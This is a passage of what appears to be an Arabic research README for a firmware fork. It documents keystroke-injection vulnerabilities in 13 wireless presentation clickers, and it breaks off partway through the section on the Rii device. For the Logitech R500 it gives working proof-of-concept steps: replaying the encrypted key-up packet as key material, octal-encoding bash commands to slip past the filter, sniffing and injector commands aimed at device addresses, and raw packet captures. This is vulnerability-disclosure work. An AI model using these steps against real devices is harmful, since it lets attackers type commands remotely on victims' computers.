
ثغرات حقن ضغطات المفاتيح في أجهزة النقر اللاسلكية للعروض التقديمية
كنت في مزاج للقيام ببعض الهندسة العكسية للترددات الراديوية، لذا طلبت بضعة أجهزة تحكم في العروض التقديمية وخضت تجربة ممتعة.
هذا فرع (fork) من nrf-research-firmware (والذي كتبته قبل بضع سنوات في Bastille). أضفت دعمًا لعدد من أجهزة الإرسال والاستقبال/البروتوكولات الجديدة، وأدرجت إثباتات مفهوم (POCs) لحقن ضغطات المفاتيح لـ 13 جهاز تحكم شائعًا في العروض التقديمية.
| البائع | الطراز | البروتوكول | RFIC | تاريخ الإضافة |
|---|---|---|---|---|
| AmazonBasics | P-001 | AmazonBasics P-001 | nRF24 | 2019-04-20 |
| Canon | PR100-R | Canon PR100-R | PL1167 | 2019-04-20 |
| Funpick | Wireless Presenter | HS304 | HS304 | 2019-04-20 |
| AMERTEER | Wireless Presenter | HS304 | HS304 | 2019-04-20 |
| BEBONCOOL | D100 | HS304 | HS304 | 2019-04-20 |
| ESYWEN | Wireless Presenter | HS304 | HS304 | 2019-04-20 |
| Red Star Tech | PR-819 | HS304 | HS304 | 2019-04-20 |
| DinoFire | D06-DF-US | HS304 | HS304 | 2019-04-20 |
| TBBSC | DSIT-60 | TBBSC DSIT-60 | BK2451 | 2019-04-21 |
| Rii | Wireless Presenter | Rii Wireless Presenter | BK2451 | 2019-04-21 |
| Logitech | R400 | Logitech Unencrypted | nRF24 | 2019-04-21 |
| Logitech | R800 | Logitech Unencrypted | nRF24 | 2019-04-21 |
| Logitech | R500 | Logitech Encrypted | nRF24 | 2019-04-21 |
هذا هو بروتوكول لوحة مفاتيح Logitech المشفّر القياسي، كما هو مستخدم في R500. وهو عرضة بشكلٍ ما لهجوم "حقن ضغطات المفاتيح المشفّرة" الذي وثّقته مع لوحات مفاتيح Logitech Unifying ضمن مشروع MouseJack.
أقول إلى حدٍ ما، لأنه لا يتم قبول جميع أكواد المسح الضوئي HID. تحديدًا، يتم استبدال 0x04-0x1D (A-Z) بـ 0x00 عندما يرسل الدونجل الحزمة إلى الكمبيوتر المضيف، ما يعني أنه يمكننا حقن ما نشاء، طالما أنه ليس حرفًا. الاستثناء الآخر هو أن اختصارات مفاتيح ctrl مسموحة، حتى عندما تتضمن أحرفًا.
يتطلب حقن ضغطات المفاتيح الفعّال عبر R500 أن نتحلى بقليل من الإبداع.
لنفترض أن الهدف يعمل في جلسة bash. في bash، يمكننا ترميز أحرفنا بنظام الأساس الثماني (base-8)، لترميز أوامر تحتوي على أحرف نريد أن ينفّذها هدفنا.
على سبيل المثال، يتم ترميز ping google.com كـ $'\160\151\156\147' $'\147\157\157\147\154\145\056\143\157\155'. إذا أرسلنا هذه السلسلة إلى جلسة bash ثم أرسلنا enter، فسيتم تنفيذ الأمر ping google.com على الجهاز الهدف.
يمكنك العثور على عنوان جهاز Logitech R500 الخاص بك باستخدام nrf24-scanner على النحو التالي:
sudo ./tools/nrf24-scanner.py -c {2..74..3} -l
يجب أن تبدو الحزم على نحو مماثل لما يلي:
[2019-04-21 13:11:52.507] 62 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 13:11:52.515] 62 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 13:11:52.523] 62 22 85:D1:9D:FE:07 00:D3:4D:6F:B6:1B:E6:05:A2:B4:8B:98:F9:C2:00:00:00:00:00:00:00:81
الحقن ممكن لأن الدونجل لا يفرض زيادة عدادات AES، لذا يمكنك إعادة إرسال الحزم (replay). تتكون الحزمة المرسلة عبر الأثير (OTA) من حمولة USB HID تم تشفيرها في وضع عداد AES، ثم يليها العداد. عند الضغط على زر في جهاز التحكم بالعروض التقديمية، يُنشئ حزمة ضغطة مفتاح وحزمة رفع مفتاح. حزمة رفع المفتاح كلها أصفار، ما يمنحنا مادة مفاتيح نظيفة وجاهزة يمكننا إعادة استخدامها، والقيام بعملية XOR مع حمولتنا الخاصة، وإرسالها عبر الأثير.
لا ينبغي أن يكون من الصعب أتمتة عملية الاستماع لضغطة زر، واستخراج الحزمة الثانية (حزمة رفع المفتاح)، واستخدامها تلقائيًا كمرجع لمادة المفاتيح. لكنني كسول، لذا ستحتاج أولاً إلى مراقبة ضغطة زر بنفسك، والتي تبدو كما يلي:
[2019-04-21 16:02:56.451] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.459] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.468] 65 22 85:D1:9D:FE:07 00:D3:E6:7B:35:8C:BB:2C:7D:5B:8B:98:FA:76:00:00:00:00:00:00:00:B9
[2019-04-21 16:02:56.475] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.507] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.516] 65 22 85:D1:9D:FE:07 00:D3:99:D6:D3:8D:49:25:F5:4D:8B:98:FA:77:00:00:00:00:00:00:00:1A
[2019-04-21 16:02:56.524] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
[2019-04-21 16:02:56.532] 65 5 85:D1:9D:FE:07 00:40:00:08:B8
الحزمة الثانية المكونة من 22 بايت هي حزمة رفع المفتاح.
أزل آخر بايت من الحمولة، وانسخ السلسلة والصقها في logitech.py، مستبدلاً KEYUP_REF.
(لا يُفترض أن يعمل دون تحديث KEYUP_REF، لكن إذا عمل بالفعل، فأخبرني من فضلك!)
احقن تسلسل ضغطات المفاتيح لأمر bash ping google.com المشفّر بنظام الأساس الثماني في دونجل Logitech R500 محدد (العنوان 85:D1:9D:FE:07):
sudo ./tools/r500-injector.py -l -a 85:D1:9D:FE:07
هذا هو بروتوكول Logitech غير المشفّر القياسي، المستخدم في R400/R800.
يمكنك العثور على عنوان جهاز Logitech R400/R800 الخاص بك باستخدام nrf24-scanner على النحو التالي:
sudo ./tools/nrf24-scanner.py -c {2..74..3} -l
يجب أن تبدو الحزم على نحو مماثل لما يلي:
[2019-04-21 12:58:43.466] 32 0 9D:9E:95:52:07
[2019-04-21 12:58:43.620] 32 10 9D:9E:95:52:07 00:C1:00:00:00:00:00:00:00:3F
احقن تسلسل ضغطات المفاتيح الاختباري في دونجل Logitech R400/R800 محدد (العنوان 9D:9E:95:52:07):
sudo ./tools/preso-injector.py -l -f logitech -a 9D:9E:95:52:07
يعتمد جهاز Rii اللاسلكي للعروض التقديمية (القلم الدائري الشكل) على شريحة BK2451 (والتي تبدو نسخة مقلدة من nRF24). يبدو هذا كبروتوكول عام، استنادًا إلى انتشار الأجهزة الشقيقة، لذا سأعيد تصنيفه على الأرجح بعد الحصول على مزيد من البيانات.
إنه وظيفيًا لوحة مفاتيح لاسلكية غير مشفّرة، عرضة لحقن ضغطات المفاتيح.
يستخدم جهاز العروض التقديمية اللاسلكي (القلم الدائري الشكل) بروتوكول nRF24 Enhanced Shockburst بسرعة 250Kb/s (بدون إشعارات ACK على ما يبدو)، وعنوانًا من 5 بايتات. لوحظ أن الجهاز الذي اختبرته يستقر على التردد 2425 ميجاهرتز، لكن يبدو أنه يستخدم نوعًا من آلية تنقّل الترددات. عمليًا، من الضروري إرسال بعض الحزم الوهمية على القناة المستهدفة قبل إرسال حزم ضغطات المفاتيح.
أشتبه في وجود تنقّل بين القنوات لم أقُم بتوصيفه بعد، لكن استهداف قناة واحدة كافٍ لإثبات حقن ضغطات المفاتيح.
يمكنك العثور على عنوان جهاز العروض التقديمية اللاسلكي (القلم الدائري الشكل) الخاص بك باستخدام nrf24-scanner على النحو التالي:
sudo ./tools/nrf24-scanner.py -c 25 -l -R 250K -A 5
لاحظ أن جهازك قد يكون على قناة أخرى.
يجب أن تبدو الحزم على نحو مماثل لما يلي: